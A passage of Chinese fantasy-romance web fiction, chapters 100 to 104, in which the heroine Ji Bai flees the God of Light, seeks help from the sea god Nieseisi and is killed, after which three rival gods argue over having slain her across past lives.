季白好似做了一个灰暗潮湿的梦,梦里是下不完的雨,她被一群看不清面容的人团团围住,他们好似在对她骂着什么,她听不清,后来是无数刀斧棍棒,枪剑戟叉刺穿她的身体。 痛,很痛,痛得快要不能呼吸。 季白猛地睁开眼大口大口地喘息着,她还没缓过神就先对上了一张熟悉的脸。 她不可置信地看着面前的人,怎么也不敢相信竟然会在这儿遇见他。 她本能地就要抬手摸头上的帽子,却先在床边看见完好无损的帽子,她的心顿时放在了肚子里,至少她的道具没有丢。 季白垂下眼帘注意到自己之前摔伤的手臂光洁如新,她后来又从那么高的半空中摔下来可身上却一点伤也没有,想来定是他救了她。 “你醒了。”教皇慈眉善目的脸上露出一抹浅浅的微笑,目光不着痕迹地看了一眼床边的帽子。 季白垂下眼帘,说:“谢谢您救了我。” 季白想起教皇曾和奥斯俐学院的老师密谋偷取神明之力。 他救她,莫不是想让她也加入他们? “你看起来像是遇上了麻烦。”教皇微笑着问,“需要我的帮助吗?” 季白摇摇头,说:“不用了,感谢您。” 季白不知教皇心里打得什么主意,但又怕他会把她的下落告知给光明神,因而想了想,说:“教皇大人,我在神宫的时候看见光明神有一面非常神奇的云镜,它能观测世间的万事万物。” 季白说着,又浅浅笑了下,“我还在云镜里看见了教皇您的身影呢。” 教皇面色不改,“伟大全知的光明神无所不知,世间没有任何事能瞒过他的眼睛。” “世间没有任何存在是全知的,哪怕是神也不例外。”季白笑着说,“如果光明神是全知的,那么你我也不会在此相见了。” 季白的帽子虽然掉了,但光明神还是没能发现她的踪迹,不然此时此刻她早已被光明神带回了神宫。 她估计应当也是这顶帽子的功劳,她戴在头上时可以使人彻底消失,哪怕站在对方面前也找不到她,而把它拿下放在附近时应该能在一定程度上隔绝她的气息。 “教皇大人,您做的事,我不会干涉。”季白打开天窗说亮话,“也请您不要干涉我的事,今日只当你我从未见过。” 教皇微微笑了下,并未回应季白的话,反而问了一个莫名其妙的问题。 “神明的存在之于人类究竟是福还是祸?” 季白微微皱了皱眉,不明白教皇为何会突然和她聊这个。 难道还打着招揽她的主意? 季白正想着该怎么回答时,教皇却忽而起身对床上的季白笑了笑,目光落在床边的帽子上。 “你的帽子很特别。” 季白一听这话藏在被子里的手紧了紧,如果教皇知道帽子的功能难免会生出抢夺之心。 她虽然跟着涅塞斯学了不少魔法,实力也大有长进,但眼前的人毕竟是光明神殿的教皇,实力深不可测。 如果真的打起来,她未必会是他的对手。 “今天的事我不会对任何人提。”教皇说,“我想,你一定会再回来找我。” 他说完这句话就转身离开了,季白不解地看着他离去的背影,他为何这般笃定她之后一定会找他? 季白想了一会后索性先放在脑后,他的目的左不过是想利用她帮他偷取光明神的神力罢了。 她起身拿起床边的帽子,在床上又坐了一会后方缓缓走了出去。 屋外是一片密林,离开的教皇早已不知所踪。 季白为了保险起见还是把帽子戴在了头上,她的任务面板突然亮起。 季白定睛一瞧,属于光明神泊里的任务已经全部完成。 黑暗神赫瑞特的前半部分任务也完成了,看来她这次的欺骗把他气得不轻。 赫瑞特任务的后半部分文字闪了闪,随后就缓缓显现在了季白眼前——获得黑暗神的神器魔偶。 又是获取神器。 季白的目光转向第三项任务,获得海神传承的任务正在进行中,后半部分的任务还未解锁。 如果她没猜错的话应当也是需要获取神器之类的任务。 黑暗神的神器……季白刚刚耍了黑暗神,他定然正在气头上,就算现在去找他解释,估计也不会信她。 何况季白也不知该去哪找他,她怕她还没找到赫瑞特,反而先被泊里发现了。 找黑暗神的神像祈祷吗?可是在光明神殿的地盘,想找一个黑暗神的神像简直比登天还难。 季白思前想后决定还是先前往奥斯俐学院找涅塞斯学习魔法。 反正赫瑞特被她骗了以后,肯定咽不下这口气,早晚会来找她。 季白这么想着就收起了任务面板一路朝奥斯俐学院而去,路上,她忍不住从背包中把永恒之冠拿出来。 夺目的王冠在她手中闪闪发光,她轻轻敲了敲永恒之冠上镶刻的钻石,她记得泊里对她说过,这是属于神后的王冠,里面还凝聚了一部分泊里的神力。 季白想到教皇都能偷取光明神的神力为已用,那么她是不是也能抽出永恒之冠里属于泊里的力量化为已用呢? 季白这么想着,就试探性地对着永恒之冠释放出自己的魔力,让她意想不到的是永恒之冠似乎是很喜欢她,半点也没有排斥她的力量,反而还主动拉着她往更深处去。 季白很快就感受到了一股强大的力量,这股力量温和仁慈似是能治愈所有烦恼,一看就是光明神的力量。 她正试图吸纳这股力量时,突然又有一道极富生命力的力量冲撞了过来。 它生机勃勃,好似有着用不完的力气,那股力量如藤蔓般缠上季白释放出的魔法。 季白好似看见了顽强不屈的草木在春日里不断生长着,季白总觉得这股力量有股说不出的熟悉。 它不属于光明神,也不属于黑暗神,亦不是海神或者混沌神,是一种季白从未见过但却熟悉的力量。 泊里果然骗了她。 他说永恒之冠里凝聚了他一部分的神力却没有告诉她永恒之冠里还有另一位神明的力量。 季白心尖一颤,脑海中突然冒出了一个大胆的想法,永恒之冠里另一位神明的力量不会是……属于她的吧? 这个想法刚从脑海中冒出,季白就察觉到那股神力蓦地全部涌了出来如江河入大海般钻入她的身体。 下一瞬只听“咔嚓”一声,季白手中的永恒之冠就从中间裂开,重重摔落在地,冠内属于光明神的神力闪耀着无比刺眼的白光向天空飞去。 季白暗道一声不好,闹出这般大的动静,定会为光明神所察。 季白转身就想要快步离开这儿,结果这股熟悉的神力却裹挟着她,让她动弹不得。 突而,周边空气蓦地一凝,季白抬眸看去,就见一道无比耀眼的身影从天而降,风吹动他耀眼的金发,金眸低垂着凝望脚下众生,神情威肃而悲悯,带着压倒一切的强势降临凡尘。 “季白,吾知道你就在这儿。” 100-110 101 第101章 从永恒之冠里涌出的庞大神力全部没入了季白的体内与她融为一体,在一切归于平静时,季白这具经过神力冲刷的身子彻底没了力气,就连正常的站立都很难维持,但眼看泊里已至眼前,她莫说动了,就连大气都不敢喘一声。 泊里用神识将整座密林探查了一遍又一遍,却始终没有发现季白的踪迹。 泊里微微皱了皱眉,他刚刚明明在这儿感受到了永恒之冠的气息,除了季白不会再有第二个人。 季白见泊里没有发现她,松了口气,但仍不敢大意,小心缓慢地抬手捂紧帽子,生怕帽子不小心掉落后会被泊里发现。 她轻手轻脚地往后撤,心止不住地怦怦跳。 泊里微微动了动手指,只见地上残破的永恒之冠就缓缓升起出现在泊里的手中。 他低垂着眉眼看着手中的永恒之冠,手指摩挲着王冠的表面,脸上的神色格外平静却给人一种非常悲伤不舍的感觉,好像破碎的不仅仅是一样神器。 泊里低下头吻了吻残破不堪且黯淡无光的王冠随后珍而重之地将它收了起来。 他在王冠上感受到了季白的气息,季白在不久前还碰过它,照理说她应当就在这片密林之中,他为何感知不到呢? 泊里金色的眸子暗了暗,普天之下也唯有赫瑞特一人的隐匿之术能瞒过他,难道……季白已经被他带走了? 泊里心中有了推算,但不愿就这么放弃。 正在趁机悄悄挪动的季白突然见泊里抬起了头,立即吓得定住了身子一动也不敢动。 “季白,吾给你一个机会。”泊里说,“你自己走出来,吾原谅你的不忠,否则你是想再尝尝钻心之痛吗?这一次吾不会手下留情。” 泊里这一招对别人或许好使,但对于在某种程度上格外倔的季白来说,她就是疼死也不会出去。 季白之前体会过泊里所说的钻心之痛,她怕自己会忍不住发出声音,提前从怀里掏出一方手绢塞进自己的嘴巴里,又把头上的帽子用绳子固定稳以防等会在挣扎间把帽子弄掉。 泊里说完后,耐心地站在原地等了一会,可时间一分一秒的过去,刚刚挂在树梢的日头都快落下了也不见季白出来。 泊里闭了闭眼,脸上是一种比季白还要痛苦挣扎的神色,下一刻季白的心口就传来阵阵钻心般的刺痛,她双腿一软本能地就想要跪下,可又害怕被泊里发现,强撑着不敢动。 可这种疼痛越来越难以忍受,在这极致的痛苦中,季白所有的小心,所有的计划全都忘了。 她“扑通”一声摔在地上,身体弓成虾子,疼得面色苍白,喉中忍不住溢出几声痛苦的闷哼。 沉浸在疼痛中的季白完全没有注意到与她一样面色痛苦的泊里,他虽紧闭着眼,但从脖颈与额头上暴起的青筋也能看出他此刻亦是承担着极致的疼痛。 如果季白知道泊里每次让她痛的时候,他自己也会体会着与季白相同的痛感,一定会大骂泊里是一个神经病。 折磨自己也折磨别人。 泊里缓缓睁开眼,脖颈上暴起的青筋也逐渐得以平复,空寂的密林里唯有微风带来青草与泥土的气息,没有一丝一毫属于季白的气味。 金色的眼眸黯淡得似是被乌云遮住的太阳,他苦笑一声: “你宁愿忍受着如此强烈的痛苦也不愿意回到吾身边吗?” “吾,就这么让你讨厌,让你无法忍受?” 然而泊里的低语季白一个字也没有听见,她早就疼晕了。 等季白再次醒来时,就发觉眼前一片黑暗,她吓了一跳,以为是被赫瑞特抓去了地狱。 然而她一抬头就看见从树缝中露出的月亮,她眨了眨眼环顾一圈,发觉她还躺在之前的密林里。 泊里似乎已经离开很久了。 季白松了口气,立即从地上爬了起来马不停蹄地往奥斯俐学院赶去。 待她快赶到奥斯俐学院时,她把帽子从头上取下,用绳子挂着贴身放在自己的脑后。 这样做能在一定程度上隐匿气息防止神明的窥探,又不至于完全消失在正常人眼中。 奥斯俐学院眼看就在眼前了,季白却放慢了脚步。 她刚从光明神那儿逃出去,又欺骗了黑暗神,若要见涅塞斯她得想个万全之策。 季白虽能从之前的氛围中看出他们几人并不和谐,但他们四人也一定是彼此认识的。 说不好涅塞斯早已知道她对泊里和赫瑞特做的事了,若没有个合理的解释,涅塞斯肯定会怀疑她的目的,从而不肯给她海神的传承。 季白一面走着一面把她进入这个副本后的所有事情都想了一遍,从泊里的出现到赫瑞特的出现,以及他们每个人对她说的每一句话,还有那位神秘的教皇。 季白又突兀地想到了那晚做的梦,她隐隐得到了一个答案。 虽不一定正确,不一定全面,但足够拿来应付涅塞斯的疑问了。 季白正在心里完善着自己的说辞时,就突然听到前方有人喊她的名字。 季白吓了一跳,连忙抬眸看去,就在小路的尽头看见了一抹熟悉的身影,季白的眼睛顿时瞪圆了,不可置信地看着他。 她明明都用帽子隐匿气息了,他怎么还会突然出现在这儿,好似是专门等着她一样。 “好巧。”涅塞斯风度翩翩地走到她面前,嘴角噙着一抹欣喜但又不会过分热切的完美笑容,如大海一般湛蓝的眼眸使他看起来温和又亲切。 可季白却觉得这人可怕极了。 带着这顶帽子的她就连泊里与赫瑞特都察觉不出她的存在,可……涅塞斯却能在她还没进入奥斯俐学院时就率先发现了她。 她不是白痴,不信这种巧合。 涅塞斯好似完全没看出季白的惊讶一般,湛蓝的眼睛笑眯眯地注视着她,温声说:“你先前说一定会回来找我,没想到这么快就来找我了。” 他抬手揉了揉她的头发,温柔地帮她拿走粘在头发上的枯叶,语气中透出几分担心的关怀。 “发生什么事了吗,你的样子看起来可不太好。” “光明神殿的人为难你了?” 他看起来还是这么的温柔亲和,眼中的担心也是真真实实存在的,好似全然不知季白这段时间到底做了什么,只是一位奥斯俐学院的普通教师。 季白摇摇头。 “光明神殿的人没有为难我。” “那是发生什么事了?”涅塞斯温柔的声音似是带着某种能安抚人心的魔法,又似是带着几分诱导,“无论什么事都可以告诉老师。” 他弯眸笑了笑。 “无论什么事,老师都会帮你。” 季白咬了咬唇,作出一副十分忐忑的样子,她的样子一看就像是遇到事不知该如何解决的小姑娘。 “老师,我……” 涅塞斯温柔地注视着她,暗想,小姑娘无非是要和他解释泊里与赫瑞特的事,又或者她什么都不说,只说在光明神殿待不下去来找他了。 然而季白的下一句话却让涅塞斯愣在了原地。 “我怀疑我不是人。” 涅塞斯这双温柔亲和的眼眸中总算出现了第二种情绪,他眨了下眼睛,随后快速调整面部的表情,温笑着问:“嗯?不是人?季白同学是在和我开玩笑吗?” 涅塞斯握住她温热的手腕,随后拉着她的手腕把季白的手放在她自己的胸口上,让她感受着自己胸腔里那颗砰砰直跳的心。 “季白同学不如自己听听看自己的心跳声,你不是人还能是什么?” 季白咬了下唇,抬起眼睛直勾勾地盯着涅塞斯,看似是迷茫的求助,实则是在观察着他的每一个表情。 “是神。” 涅塞斯的瞳孔以一种常人不可能察觉到的幅度微微颤了颤,但季白的观察力向来仔细,再加上她一直注视着他的脸,因而这点细微的变化并未逃过季白的眼睛。 她猜对了。 涅塞斯他们几个果然知道她的真实身份。 涅塞斯扬起一抹温柔的笑,眼眸中还带着几分无奈,好似是在看一位任性的孩子。 他抬手摸了摸季白的额头,自言自语地说:“也没发烧啊,怎么突然说起胡话了?” 季白退后半步,用一种不被自己所信之人相信的恼怒与伤心的眼神看着涅塞斯。 “我没有说胡话。”季白说,“涅塞斯老师刚刚还说遇到什么事都能跟你讲,可涅塞斯老师根本就不相信我。” 涅塞斯眼眸闪了闪,上下打量了一番季白,又笑着上前揉了揉季白的头发,说:“好,我信你。” “那季白同学为什么会觉得自己是神明呢?” 难道季白真的想起什么了? 泊里和赫瑞特那两个蠢蛋也不知道做了什么,要是季白真的想起一切…… 涅塞斯的目光重新落回到季白的身上,蓝色的眼眸中多了几分复杂且纠结的情绪。 她离开的漫长岁月里,他无时无刻不想着她能回来,可现在……他又觉得她就像现在这样一无所知的活下去也很好。 102 第102章 季白捏了捏手指,说:“我见过光明神了,他……他对我很特别,说喜欢我,还说要让我当神后,神明会喜欢一位普通的人类女孩吗?” “如果会,又为何偏偏是我?” 涅塞斯握住季白垂在腿边的手,微凉的指腹轻轻摩挲着被季白自己掐红的指腹。 “为什么不能是你呢?你这么好,就算是所有的神明为你心动,老师都不会觉得奇怪。” “只是因为光明神的喜欢,所以怀疑自己不是普通人类吗?” “那你呢。”涅塞斯问,“他可是光明神,小白一点都不喜欢他吗?” 季白的手微微紧了紧,说:“光明神他……他好像就是泊里,虽然不*明白光明神为什么会变成被人欺负的泊里,但我……我一直拿泊里当朋友,从来没想过喜欢他这件事。” “我知道光明神很好很厉害也很优秀,但……但我不喜欢他。” “而且……不止是光明神。”季白压低了声音小声说,“我之前在格兰城的时候就被一个奇怪的恶魔缠上了,他一直诱惑我加入黑暗,我先前以为他只是普通恶魔,可他竟敢跑去神宫找我,那可是光明神在的地方,普通恶魔怎么可能潜进去?” “我怀疑一直诱惑我的恶魔,可能是传说中的黑暗神,只有这样才能解释他的厉害。” “如果我是普通人怎么会招来光明神和黑暗神这两尊这么厉害的神明?” “我想,或许我前世也是神明。”季白说,“所以这一世他们都来找我了。” 涅塞斯听完后轻笑一声,“什么前世今生,是不是最近看了什么不该看的书?” “你很优秀。”涅塞斯低下头揉了揉她的头发,“与你前世是谁无关。” 季白微微垂下眼帘,目光落在涅塞斯和她交握的手上,手指轻轻拂过涅塞斯微凉的手背,“那涅塞斯老师呢,您对我这么好,真的也只是因为我吗,而不是因为我上一世的身份?” 涅塞斯的呼吸蓦地一沉,他正要回答季白的疑问,季白却突然紧握住他的手,用无比认真的眼神看着他。 “涅塞斯老师。” “我经常做一个梦,梦里有很多人要杀我。” “最后我在梦里死掉了,真的很疼很疼。” 涅塞斯的呼吸顿时停了下来,湛蓝色的眼眸中透出点点的慌乱与止不住的心疼。 她真的要想起来了吗? “我是不是曾做为神明死过一次,究竟是谁要杀我?” “其实我的耳边一直有一个声音。”季白轻声说,“她在我不知道该怎么办的时候会提醒我接下来怎么做,是她告诉我,让我来找您,说您会帮我变得强大。” “涅塞斯老师,您会帮我的对吗?” 涅塞斯缓了缓呼吸,握紧了她的手,语气坚定地说:“小白,我之前就说过,我永远是你的老师,只要你需要我,我一直都在。” 季白眼睛一亮。 “涅塞斯老师,您愿意帮我变得强大,对不对?” “不过……涅塞斯老师您不害怕吗?黑暗神与光明神都觊觎我,您就不怕他们报复你吗?” 季白弯眸笑了笑,“其实您也是位神明吧,擅长水系魔法的神明,您应该是传说中的海神,对不对?” 涅塞斯见季白猜出他的身份倒也没有特别惊讶,她能察觉出自己不同寻常的前世,自然也会猜出他的身份。 毕竟他的表现实在是太明显了。 哪有正常人类敢同时无惧于两位神明的存在? 涅塞斯弯了弯眸,抬手捏了捏她的鼻子,笑眯眯地说:“小机灵鬼。” “没错,我是海神涅塞斯。” “季白同学,你的胆子可真够大的啊,光明神的东西也敢抢?” “怎么能叫抢呢,其实那本来就是我的东西对不对?”季白说,“我察觉到永恒之冠里有一半是属于我的力量。” “涅塞斯老师,您还要否认我刚刚的观点吗?” “您其实也和他们一样,都在透过我看过去的旧人,对吗?” 涅塞斯有些恍惚,感觉时间好像在这一瞬间拉回了十几万年以前,他第一次见到她的时候,他眨了眨眼,很快回过神来,抬手抚了抚她的脸颊。 “没有过去的人,你一直都是你。” “走吧。”他牵起季白的手往另一个方向走。 季白不解地问。 “去哪?” “不是想变强吗?”涅塞斯说,“在这里可变不强。” 涅塞斯话音刚落,下一步季白就好似踩在了绵软的云朵上,身子骤然一坠,落入黑暗的虚空之中。 唯一能感知到的就是涅塞斯紧握着她的手,在一片寂静的虚无中,涅塞斯突然开口问她。 “是你耳边的声音让你去做神殿的圣女又让你去取永恒之冠的吗?” 季白不太明白涅塞斯为何会突然问她这个问题,但还是按照先前的说法点了点头,随后又觉得在乌黑的环境中,他可能看不见她的点头,又出声道:“是。” “所以当时你明明答应我和我离开,又会反悔。” “现在她让你来找我,你就来了,如果你得到你想要的,她让你离开我,你是不是……也会离开我?” 涅塞斯的声音依旧温和,可季白却觉得自己的嗓子被堵住了一样,一时间竟不知如何开口解释。 泊里从密林中离开后就捏着破碎的永恒之冠气势汹汹地去了地狱深渊。 “赫瑞特!”泊里身上宛若太阳的光芒霎那间就照亮了永不见天日的地狱,“说!是不是你带走了季白!” “吾知道是你,普天之下除了你的隐匿之法不会有第二个人能从吾的身边带走她!” 赫瑞特懒洋洋地现身,眼神不善地盯着他,“喂,不要自己丢了人就全都怪我,我从你的神宫离开后也一直在找季白。” 赫瑞特说到这儿,挑了挑眉头。 “反倒是你,咱们不是说好了要合作吗?你既然知道了季白的下落就该第一时间告诉我,不然也不会让季白逃了。” “合作?”泊里咬着牙冷嗤一声,重重将破碎的永恒之冠摔到赫瑞特面前,“吾永远也不会与你合作,你现在是不是很高兴?吾的永恒之冠碎了!” 赫瑞特瞧了眼地上的王冠,幽绿色的眼眸中闪过一抹喜色,随后两手一摊地表示。 “你冲我发什么脾气,又不是我弄坏的。”赫瑞特又嗤笑一声,“泊里,你现在的实力可是越来越差了啊。” 泊里咬了咬牙。 “你别以为吾不知是你在教唆季白,若不然她怎会知晓破解之法?” “呵,赫瑞特,你现在很开心吧?吾与季白的婚契断了,十几万年前你就引诱我的妻子,一心想要毁掉它,如今你终于得偿所愿了。” “赫瑞特,吾告诉你,有吾在,你永远都只是见不得光的第三者。” “一个永恒之冠碎了,我和季白还会有第二个,第三个!” “而你……”泊里看了眼赫瑞特脚边的三头犬,冷嗤一声,“除了一条傻狗以外什么也没有。” 赫瑞特蓦地握紧了手,眼神变得无比刻毒。 “如果你与季白当真真心相爱,她怎会受我引诱?” “如果你们的爱情当真那么坚固,也不会有我见缝插针的机会,泊里,你难道没有听说过吗,当一个人爱上第二个人的时候,说明他早就不爱第一个人了。” 赫瑞特一脚踩碎了本就破烂不堪的永恒之冠。 “你们之间的关系早就和这破碎的永恒之冠一样无药可救了,泊里,你还是趁早放弃吧。” “你找死!”泊里二话不说提剑冲了过来,两人又打做一团。 霎时间,只见整个地狱都陷入飞沙走石的天崩地裂之中,无数隐藏在暗处的恶魔趁机远远逃开。 这种神明级别的战斗,他们扑上去完全帮不上半点忙,只会白白送死。 “这里是?”季白不解地看着眼前的一切,在她面前是一片巨大的珊瑚丛,漂亮得像是陆地上的树林。 “里面有你想要的东西。”涅塞斯轻笑着说。 季白有些狐疑地看着涅塞斯,刚刚在来的路上,他突然问她那样的问题,吓得季白以为他不会教她了,没想到他转头就告诉她,她要的东西在哪。 季白捏了捏指尖,一时间不知该不该信他,万一她进去是自投罗网呢。 这片巨大的珊瑚丛像树林也像一座囚人的迷宫。 季白正在犹疑间,就看见一条误闯进去的小鱼被珊瑚丛中突然出现的海带卷住带入了丛林深处,下一秒那鱼儿就不见了去向。 看起来漂亮的珊瑚丛中隐藏着巨大的危险。 “很害怕?”涅塞斯笑着说,“别担心,我就在这儿,我会保护你。” 季白捏了捏指尖,扬起一抹笑容。 “那我进去了。” 她正要跨步踏进珊瑚丛时又突然停下了脚步,转过头问涅塞斯。 “涅塞斯老师,如果我能成功拿到东西,您能满足一个愿望吗?” “什么愿望?” 季白脸上的笑容越发真诚。 “不知道涅塞斯老师肯不肯送我一件宝物当做我的……出师礼物?” 103 第103章 涅塞斯笑得温和亲切,湛蓝色的眼眸弯成一道月牙。 “老师答应你。” “别说一件,十件也给。” 他和她的距离相隔不到十米,以至于季白可以清晰地看清他眼中微闪的温润光芒,他看起来清隽亲和,像是羽生和卫云台那类会给予她帮助的男主。 季白对着涅塞斯露出一抹明媚的笑意。 “谢谢老师,涅塞斯老师是最好的老师。” 季白告别涅塞斯后,就一头钻进了危机四伏的珊瑚丛,她一进去刚刚攻击小鱼的海带也在一瞬间朝她攻来,季白立即闪身躲避,同时用涅塞斯教她的魔法将那些飞舞的海带全部冻住。 她继续往里走,涅塞斯说在这座珊瑚丛的中间有一颗海洋之心,海洋之心里蕴藏着巨大的海洋之力,她只要能吞下它就能获得堪比神明的力量。 季白越往里走,可见度也就越低,海水也不似之前清透,带着让人难以忍受的黏腻与阴冷,好似是什么生物的口水。 季白打起了十二分的小心,无比谨慎地往里走,突然,她感知到有一道微弱的波动从身后传来,可她转过头去却发现什么也没有。 影影绰绰的珊瑚枝丫在深海中看起来似是张牙舞爪的猛兽,又似是鬼魅的鬼影,她突然在枝丫后看见一点光,似是什么东西的眼睛,她正看得入神,脚下突然传来一声震天的吼声,吓得季白一哆嗦。 她低头一看就看见一头诡异的巨大条形生物朝她扑了过来,一双铜铃大的眼睛瞪得似鬼一样,头上的角被人削去,只留下两个突兀的角根,却仍不减它的凶猛。 它实在是太大了,只是一颗头就比季白两个人还大,由于光线灰暗季白先前只能看个大概轮廓,可当它扑至眼前时,季白看清了它。 这……看起来像是一颗龙头,不是西方生有翅膀的龙,而是一条东方龙。 东方龙为何会出现在这儿,又为何变成了如今这幅模样? 它脸上的血肉掉了大半,露出发黑的龙骨,从血肉溃烂之处可以清晰地看见在它肉里钻吃的白色肉虫,这一幕看得季白险些要吐。 腥臭的吐息扑面而来,季白连忙闪身躲避,挥手要用魔法攻击它,可看着那双含泪的龙眼,季白又有几分下不了手。 这一愣神的功夫,那龙又扑了过来一头撞在她的身上,若非它的龙角被人削去,这一撞季白非得穿膛破肚不可。 季白连忙一边用治愈魔法治愈身上的伤,一边用魔法攻击,可她的魔法落在它的身上却好似一根木棍戳在大象的身上,毫无作用。 她只能一边快速移动一边思索着对策,这条龙看上去已经全然失去理智了,只会一味地驱逐闯入此地的生物,它难道是守护海洋之心的守护兽? 季白又回眸看了它一眼,那条龙不知是看见了什么,眼睛突然瞪得老大,眼中还带着无比愤恨的情绪,用季白从未见过的速度蹭得一下冲了过来。 庞大的身躯从季白的上方游了过去,季白这方注意到它四只龙爪少了三个,只余留最后一只还傲然挺立着。 季白朝这条龙冲撞过去的方向看了一眼,由于距离太远,她没有看太清,只是感觉似有很多乌黑的鬼影冲着他们冲了过来。 这珊瑚丛里到底生活了多少危险的诡异生物? 不过看起来这条龙和这群家伙似是有仇,她正好可以趁机溜走,季白这么想着就连忙加快了游动的速度,想要赶紧离开这个是非之地。 然而她的前路也被堵住了,涌动的黑雾鬼影朝她围了过来,季白处处后退才发现自己已经被它们包围了。 她连忙抬手释放魔法朝黑雾攻去,只见那团黑雾被季白的魔法炸得瞬间少了一个缺口,但季白还来不及高兴,那团缺口又很快被补上了。 整个珊瑚丛除了季白和那条魔龙站得这一圈外,其余地方都被黑雾所占领。 季白很快看清了它们到底是什么,是一条条长相古怪的怪鱼,它们通体漆黑,个头矮小,在紧密无缝的鱼群中钻来钻去,像是缠绕紧密,不断蠕动的蛇群,看得季白头皮发麻。 这到底有多少鱼? 怪鱼们忽而张开嘴露出锋利的牙齿朝他们扑了过来,季白连忙用魔法抵御,然而它们的数量实在太多,好似永远也打不完一般,顾得了这头,顾不了那头。 突然,一条鱼咬上了季白的胳膊,尖锐的利齿刺入血肉疼得季白的身子微微一颤,她正要抬手将它打下去,却见它硬生生地撕扯下一块她胳膊上的肉,疼得她呲牙咧嘴。 紧接着第二条鱼,第三条鱼咬了上来,胳膊,大腿,腰侧都咬满了怪鱼,疼得她几乎快要不能呼吸,就在季白以为自己将要被怪鱼淹没时,突然一条硕大的龙尾拍了过来,身上的怪鱼在这一击之下掉落大半。 疼得直冒冷汗的季白抬眸看了过去,就见巨龙的身上爬满了密密麻麻的鱼,它们疯了似得啃食着巨龙身上的血肉,吃痛的巨龙不断甩动着庞大的身躯,似是想把这群可恶的虫子甩掉,可有鱼落下,就会有新的鱼补上。 任它如何挣扎也无济于事。 季白缓了口气,没想到自己竟被巨龙无意间的挣扎救了,有了这一息之机,季白立即调动魔法打掉自己身上残留的鱼,它们个头很小,牙齿却又尖又长,许多伤口都深可见骨,周边的海水也变成了血红色。 怪鱼实在太多,旧的打死很快又会有新的涌上来,就在季白又一次要被这群怪鱼淹没时,那条龙尾再一次打了过来,只不过这一次却是用尾巴将她卷了起来,有巨龙的尾巴护着她,那些怪鱼再也咬不到她的身体。 季白不可置信地朝巨龙的头看去,它的身体遍布怪鱼,所剩不多的血肉几乎都被啃食得干干净净,越发显得那双铜铃大的眼睛凄厉而恐怖,可她看着巨龙眼中倒映的自己,一时间竟没有那么害怕了。 它卷着她的身体用尽最后的力气将她的身体重重往上一抛,似是想要送她离开这儿。 季白在巨龙的力量下向上飞了出去,仍留在珊瑚丛中的巨龙却彻底被怪鱼所吞没了,就连那双眼睛都看不见了。 季白的心突然很痛,原来它不是守护海洋之心的守护兽,它一开始的驱逐与恐吓只是想赶她离开这个危险的地方。 眼看季白即将彻底离开这个危险的地方,下一秒珊瑚丛中的海带却突然疯长缠住了季白的脚腕。 季白正要挣脱,却突觉脚腕一痛,似是有无数根细针扎入季白的血肉中,紧接着她的身体就像是被麻痹了一般,连手指都动不了。 这海带……有毒! 她眼睁睁地看着灵巧的海带一圈圈地缠绕上她的身体,它们缠得很紧,勒得她的胸腔几乎快要喘不过气,紧接着缠上她的脖子,嘴巴,鼻子,口腔里全是咸湿的海带气息。 空气逐渐变得稀薄,脖子上的海带也越收越紧,窒息般的痛苦让她的眼睛瞪出血丝,可偏偏她一动也不能动,只能在漫长且痛苦的时间里看着自己的生命一点一点的流逝…… 在她失去意识前的最后一秒,她好似看见涅塞斯站在她的上首,在这黝黑的海底,他漂亮的蓝发成了唯一的光,可那双眼睛却是从未有过的冷漠与冰冷。 季白费劲全力朝他伸出手希望他能救救她。 或许被海带紧紧缠绕包裹的她根本伸不了手,一切都只是她临死前的幻觉。 她自以为的伸手和眼前的涅塞斯都是临死前的幻觉。 她双眸一闭,彻底失去意识坠入如黑雾般黏稠拥塞的鱼群。 她死了。 黝黑的海底蓦地闪出两道神光,赫瑞特看了一眼已经葬身鱼群的季白,怒气冲冲地揪住涅塞斯的衣领,抬手就给了他一拳。 “你为何要杀了她?” 涅塞斯的嘴角顿时被打出了血,但他脸上的神色很平静。 “她想起来了。” 赫瑞特眼眸闪了闪,揪住他衣领的手缓缓松开了。 涅塞斯取出怀里的手绢擦了擦嘴角的血迹,抬眸朝赫瑞特与泊里看了一眼。 “如果不是你们两个蠢货,她怎么会想起来?” “这一世不是我杀她,她是因你们二人而死。” 赫瑞特不言不语地垂眸望着脚下的珊瑚丛,原来是想起来了啊,难怪会想要泊里的永恒之冠。 可是……可是他已经等待了那么多世,每一次,她不是喜欢亲和温柔的涅塞斯就是喜欢可爱单纯的查奥斯偶尔也会喜欢光明正直的泊里,唯有他……唯有他被选择的机会最少。 他这一次明明有很大的希望,可她为什么偏偏想起来了? 赫瑞特本计划着让季白取回她曾经的一部分神力,而后永远地留在他身边,他已经腻烦了一世又一世的寻找,一世又一世的追逐与失败。 一抹生机勃勃的青绿色神力缓缓从珊瑚丛中升起,泊里微微抬手那团神力就落到了他的手中,他又从体内抽出一团属于他的神力,将两者融于一体后,一个崭新的永恒之冠就再次出现在了他的手中。 赫瑞特看了这一幕恨得牙痒痒,原本只要季白收回她的神力,世间就再无永恒之冠,可没想到涅塞斯竟然直接动手杀了季白,这一次又要从头开始了。 他又要等多久呢?二十年,五十年,还是一百年或几百年? 泊里摩挲着手里的永恒之冠,良久,他侧眸看向涅塞斯。 “我沉睡的日子里,你们杀了她多少次?” 104 第104章 赫瑞特冷嗤一声。 “泊里,你这话什么意思,我们几个中就单你是好神?我们都是要害小白的坏神?” 赫瑞特说到这儿,垂在腿边的手忍不住紧攥成了拳,漂亮的五官也变得狰狞。 他只要一想到他好不容易等到的人又一次死了,就恨不能把他们所有人都杀了。 涅塞斯气定神闲地收起手绢,湛蓝色的眼眸中是疏离的冷漠。 “泊里,肉身于我们来说只是一个器物,死一次与死百次有何区别?不过是再多等一段时间罢了。” “死一次与死百次有何区别?”泊里攥紧了手中的永恒之冠,“你们口中轻飘飘的几个字对没有前世记忆的她来说就是她的一生!” 赫瑞特听了这话,忍不住嗤笑了一声。 “泊里,这么多年过去了,你怎么一点没变,还是这么虚伪!” 涅塞斯眼中也透出了几分寒气。 “你以为只有你在意她,我难道就忍心杀小白吗?” “不要忘了,这个决定可是我们三位当时一起做的。” “万一真有一日小白全都想起来了,我们三位谁也跑不掉。” 泊里的脸色蓦地苍白了一分,力度大到几乎快要把手中的永恒之冠掐出一道印迹。 没错,当初他同意了。 可如今他后悔了。 她要真想杀他,他和她一起死就是,也好过独留他一人万年万年地熬着没有她的时光。 他的喘息蓦地变得十分沉,心脏好似被人攥住了一般的疼,他想到了上一次季白的手穿过他的胸膛,探入他的血肉,摩挲着他那颗尘封了很久很久的心。 “所以……”泊里的脸色很白,可眼神却极其危险,“我不在的时候你们杀了她多少次?” 